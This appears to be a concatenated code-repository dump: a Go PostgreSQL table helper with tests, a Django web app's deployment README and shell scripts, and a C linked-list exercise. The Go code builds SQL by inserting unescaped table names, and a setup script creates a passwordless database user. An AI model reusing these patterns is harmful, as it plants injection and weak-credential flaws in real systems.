// GetTableName returns the name of the table
func (t *Table) getTableName() string {
return strings.TrimSpace(t.Name)
}
// isValidTableName checks if table name is not empty
// The method return an error if table name is a empty value
func (t *Table) isValidTableName() error {
if t.getTableName() == "" {
return utils.Error{ErrStr: tableNameEmptyErr, ErrMsg: tableNameEmptyErrStr}.NewError()
} else {
return nil
}
}
// isValidColumnLength checks if at least one column definition is provided for the table
// The method returns an error if no column definition is specified
func (t *Table) isValidColumnLength() error {
if len(t.Columns) < 1 {
return utils.Error{ErrStr: tableColumnErr, ErrMsg: tableNoColumnErrStr}.NewError()
} else {
return nil
}
}
// isValidColumnInfo checks if column information is correctly provided
// The method returns an error if empty values are provided
func (t *Table) isValidColumnInfo() error {
for _, c := range t.Columns {
if c.Name == "" || c.DataType == "" {
return utils.Error{ErrStr: tableColumnErr, ErrMsg: tableColumnInfoErrStr}.NewError()
}
}
return nil
}
// ValidateTableDefinition validates the table definition before creation of the table in the database
// The method returns an error if something goes wrong
func (t *Table) isValidTableInfo() error {
if err := t.isValidTableName(); err != nil {
return err
} else if err := t.isValidColumnLength(); err != nil {
return err
} else if err := t.isValidColumnInfo(); err != nil {
return err
} else {
return nil
}
}
// GetQuery creates and returns a SQL table query which would be used to create a table in the database
func (t *Table) GetQuery() string {
var query string
query = fmt.Sprintf("CREATE TABLE %s (\n", t.Name)
for i, c := range t.Columns {
query += "\t" + c.Name + "\t" + c.DataType + "\t"
for i, cs := range c.Constraints {
query += cs
if i < len(c.Constraints)-1 {
query += "\t"
}
}
if i < len(t.Columns)-1 {
query += ",\n"
} else {
query += "\n);"
}
}
return query
}
// Create creates a new table in the database
// The method returns an error if something goes wrong
func (t *Table) Create() error {
var dbConn DbConn
if err := t.isValidTableInfo(); err != nil {
return err
}
return dbConn.Exec(t.GetQuery())
}
// Exists checks if a table already exists
// The method returns a boolean value or an error if something goes wrong
func (t *Table) Exists() (bool, error) {
if err := t.isValidTableInfo(); err != nil {
return false, err
}
var (
dbConn DbConn
values []string
)
db, err := dbConn.Connect()
if err != nil {
return false, dbConn.ConnectionError(err)
}
rows, err := db.Query(fmt.Sprintf("select exists ( select 1 from information_schema.tables where table_name = '%s');", t.Name))
if err != nil {
return false, dbConn.QueryExecError(err)
}
for rows.Next() {
var value string
if err := rows.Scan(&value); err != nil {
return false, dbConn.RowScanError(err)
}
values = append(values, value)
}
if err = dbConn.Close(db); err != nil {
return false, dbConn.ClosureError(err)
}
if values[0] == "false" {
return false, err
} else {
return true, err
}
}
// Delete drops the table from tha database
// The method returns an error if something goes wrong
func (t *Table) Delete() error {
var dbConn DbConn
if err := t.isValidTableName(); err != nil {
return err
}
return dbConn.Exec(fmt.Sprintf("drop table %s", t.Name))
}
<file_sep>/db_test.go
package pgdb
import (
"os"
"testing"
)
func TestDbConn_GetConn_Default(t *testing.T) {
var dbConn DbConn
dbConn = dbConn.GetConn()
// default values
defaultHostname := "192.168.2.75"
defaultPort := "5432"
defaultName := "assets"
defaultUsername := "postgres"
defaultPassword := "<PASSWORD>"
// check default hostname
if dbConn.Hostname != defaultHostname {
t.Errorf("Database hostname was incorrect, got: %s, want: %s", dbConn.Hostname, defaultHostname)
}
// check default port
if dbConn.Port != defaultPort {
t.Errorf("Database port was incorrect, got: %s, want: %s", dbConn.Port, defaultPort)
}
// check default name
if dbConn.Name != defaultName {
t.Errorf("Database name was incorrect, got: %s, want: %s", dbConn.Name, defaultName)
}
// check default username
if dbConn.Username != defaultUsername {
t.Errorf("Database username was incorrect, got: %s, want: %s", dbConn.Username, defaultUsername)
}
// check default password
if dbConn.Password != defaultPassword {
t.Errorf("Database password was incorrect, got: %s, want: %s", dbConn.Password, defaultPassword)
}
}
func TestDbConn_GetConn_Env(t *testing.T) {
var dbConn DbConn
// set environment values
// default values
envHostname := "example.com"
_ = os.Setenv("DB_HOSTNAME", envHostname)
envPort := "1234"
_ = os.Setenv("DB_PORT", envPort)
envName := "test"
_ = os.Setenv("DB_NAME", envName)
envUsername := "admin"
_ = os.Setenv("DB_USERNAME", envUsername)
envPassword := "<PASSWORD>"
_ = os.Setenv("DB_PASSWORD", envPassword)
dbConn = dbConn.GetConn()
// check env hostname
if dbConn.Hostname != envHostname {
t.Errorf("Database hostname was incorrect, got: %s, want: %s", dbConn.Hostname, envHostname)
}
// check env port
if dbConn.Port != envPort {
t.Errorf("Database port was incorrect, got: %s, want: %s", dbConn.Port, envPort)
}
// check env name
if dbConn.Name != envName {
t.Errorf("Database name was incorrect, got: %s, want: %s", dbConn.Name, envName)
}
// check env username
if dbConn.Username != envUsername {
t.Errorf("Database username was incorrect, got: %s, want: %s", dbConn.Username, envUsername)
}
// check env password
if dbConn.Password != envPassword {
t.Errorf("Database password was incorrect, got: %s, want: %s", dbConn.Password, envPassword)
}
_ = os.Setenv("DB_HOSTNAME", "example.com")
dbConn = dbConn.GetConn()
if dbConn.Hostname != "example.com" {
t.Errorf("Hostname was incorrect, got: %s, want: %s", dbConn.Hostname, "example.com")
}
}
|
8cfd2702706c7215cca329d36b291a981d77af7a
|
[
"Markdown",
"Go Module",
"Go"
] | 8
|
Go
|
atselvan/go-pgdb-lib
|
b03c99d12bdcd414ab3324cb923bdd0eac184fd4
|
caf2cdc6b368b7f849d9667cc6a998a8771b08c5
|
refs/heads/master
|
<repo_name>AustinArrington87/plantgroupwebapp<file_sep>/lazy_requirements.txt
django-js-reverse==0.7.3<file_sep>/scripts/setup_db.sh
#!/bin/bash
NAME="plant_webapp_$PLANT_WEBAPP_ENV"
psql -U postgres -h postgres << EOF
CREATE USER $NAME WITH PASSWORD '';
CREATE DATABASE $NAME;
GRANT ALL ON DATABASE "$NAME" TO $NAME;
EOF<file_sep>/scripts/run_django.sh
export PYTHONPATH=$PYTHONPATH:$PWD/src:$PWD/src/apps
HOST=0.0.0.0:8888
if [ "$PLANT_WEBAPP_ENV" == "dev" ] || [ "$PLANT_WEBAPP_ENV" == "local" ]
then
echo "Starting dev server at $HOST with $DJANGO_SETTINGS_MODULE"
ENV=dev bash ./scripts/setup_db.sh 2>/dev/null
python manage.py migrate
python manage.py shell_plus createsuperuser --noinput --email "<EMAIL>" 2>/dev/null
python manage.py runserver $HOST
elif [ "$PLANT_WEBAPP_ENV" == "production" ]
then
python manage.py migrate
cd /common
NODE_PATH=/common/node_modules npm run build
cd -
python manage.py collectstatic_js_reverse
python manage.py collectstatic --no-input
echo "Starting gunicorn at $HOST with $DJANGO_SETTINGS_MODULE"
gunicorn settings.wsgi -b 0.0.0.0:8888 --log-file -
else
echo "Must set PLANT_WEBAPP_ENV to local|dev|production !"
fi
<file_sep>/README.md
# plantgroupwebapp
Django web app for PLANT GROUP, LLC
Dev environment
Run docker-compose up or docker-compose up -d && docker-compose logs -f. The first time you run it, it will build the containers which will take a while. After that, it will be quicker.
When it's running, do docker ps. You should see 3 containers running: django, postgres, and webpack. Note the container ID for the django container.
Run docker exec -it {DJANGO_CONTAINER_ID} bash to get a shell into the container running Django
In the shell do the following to set up the database and bootstrap the system with a superuser
pym migrate
pym createsuperuser
It will ask you for email and password for the superuser. After this succeeds you can go to http://localhost:8888 and log in with the credentials you just entered.
AWS DevOps setup
First of all, get access keys for IAM user with appropriate permissions (Full Admin permissions to be safe)
Add these keys to ~/.aws/credentials under a profile named [plantgroup]. (The name plantgroup is hard-coded in various scripts)
SES
Set up SES user.
RDS (database)
Go to RDS. Launch instance Postgres 9.6.6 t2.micro, dev/test is fine for now * publicly available
Set django/secrets/secrets.production.yml with the proper database credentials as created during this setup process
If needed, dump and restore old database to new, e.g.:
pg_dump -h plant-db-beta.cnmaldy9blta.us-west-2.rds.amazonaws.com -U plantgroup_webapp_db -d plantgroup_webapp_db -F c > dump.sql
pg_restore -h pg-webapp-db.ciayxuc8fed7.us-east-1.rds.amazonaws.com -U plantgroup_webapp_db -d plantgroup_webapp_db --no-owner dump.sql
EC2 Instance setup
Create it using docker-machine:
Make sure bin/doma-create has SAME VPC and availability zone as the RDS instance previously created
AWS_PROFILE=plantgroup bin/doma-create
Set up security group with the following Inbound TCP ports open: - 80 (http) - 8000 (django) - 5432 (postgres)
Deployment
Here's what you do each time you want to deploy, and also some tips:
source bin/deploy-mode.sh
doco-deploy
That will rebuild all the new code and push it up to the EC2 instance, restart server, etc.
To get a shell into the running Django instance:
cd django
docker ps # to find out the container id
docker exec -i <CONTAINER_ID> bash # use container id found in previous command
<file_sep>/requirements.txt
django==1.11
django-admin-sortable==2.0.21
django-dbbackup==3.1.3
django-extensions==1.7.6
django-js-reverse==0.7.3
django-password-reset==0.9
django-rest-swagger==2.1.1
django-ses==0.8.2
django-simple-history==1.8.2
django-test-plus==1.0.17
django-timezone-field==2.0
django-webpack-loader==0.4.1
djangorestframework==3.5.4
factory-boy==2.8.1
gunicorn==19.6.0
ipython==5.3.0
jinja2==2.9.5
Pillow==4.1.1
psycopg2==2.6.2
pudb==2017.1
PyYAML==3.12
rest-condition==1.0.3
# unused
# django-suit==0.2.24
|
536177c85ad17c2eff6f50150bf47a6d4769479b
|
[
"Markdown",
"Text",
"Shell"
] | 5
|
Text
|
AustinArrington87/plantgroupwebapp
|
28f1dcda0163a226eca5ecf1ec2faad6ee32b982
|
86ede4e307d3debb5af5e700f532101589df3cd1
|
refs/heads/master
|
<file_sep>struct nodo{
int informacion;//Donde se guarda la información
struct nodo* siguiente;
};
struct nodo* crear(int dato);
struct nodo* agregarEnLista(struct nodo* cabeza_lista, int elemento);
void mostrar_lista(struct nodo * cabeza_lista);
<file_sep>#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "tarea_lista.h"
//guarda y crea el espacio en memoria para crear el nodo
struct nodo* crear(int dato){
struct nodo* nuevo;
nuevo = (struct nodo *)malloc(sizeof(struct nodo));//crea espacio en memoria
nuevo->informacion = dato;//asigra el dato a informacion en el memoria
nuevo->siguiente = NULL;//deja el sigiente puntero apuntando a null para ingresar un nuevo valor
//Crea el nodo
return nuevo;
}
struct nodo* agregarEnLista(struct nodo* cabeza_lista, int elemento){
struct nodo* indice = cabeza_lista;
if(cabeza_lista == NULL){
printf("Primer Valor Guardado\n");
cabeza_lista = crear(elemento); //con esto si es el primer nodo se apunta con el puntero al inicio de la lista
}
else if(cabeza_lista!=NULL){
while(indice->siguiente!=NULL){//busca el valor sigiente que apunte a NULL para optener el espacio para asignar el nuevo valor
indice=indice->siguiente;}
indice->siguiente = crear(elemento);
}
return cabeza_lista;
}
//recorrer lista para mostrarla en pantalla
void mostrar_lista(struct nodo * cabeza_lista){
int i = 0;
struct nodo* indice = cabeza_lista;
//indice = cabeza_lista;
printf("\nMostrando la lista completa:\n");
while (indice!=NULL) {
printf("%d", indice->informacion);//muestra la lista en pantalla apuntado a los valores guardados
printf("--");
indice = indice->siguiente;
i++;//si la i es 0 entonces eso quiere decir que no hay nada en la lista, de ser mayor que cero entoncesquiere decir que no esta vacia
}
if (i==0) printf( "\nLa lista está vacía!!\n" );
}
<file_sep>#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "tarea_lista.h"
int main(){
char opcion;
int numero;
struct nodo* cabeza_lista = crear(10);
// ciclo para ir cradon y mostrando la nueva lista
do{
//menu
printf("\n\n Menú:\n\n");
printf("1.- Añadir a la lista\n");
printf("2.- Imprimir lista\n");
printf("3.- Salir\n\n");
printf("Escoge una opción(1,2,3): ");
scanf("%s", &opcion);
if(opcion == '1'){
printf("ingrese el numero entero que desee guardar: ");
scanf("%d", &numero);
printf("\n \n %d", numero);
cabeza_lista = agregarEnLista(cabeza_lista, numero);//ingresa un numero, para ir agregandolo a la lista
}
else if(opcion == '2'){
mostrar_lista(cabeza_lista);//ingresa toda la lista, la recorre y muestra en pantalla todos los valores guardados
}
else{
printf("\n Fin del programa \n\n\n\n");
break;
}
}while(opcion != 3);
}
|
e5cfb3f74d3e018275f82e1629c0e37b651209cd
|
[
"C"
] | 3
|
C
|
COFExC0DE/C-lista-punteros
|
21356bbdd84bde8d8e82abc602323108fad1abe2
|
d9e81edfe24fc2870124be15a52f2cab594dd162
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.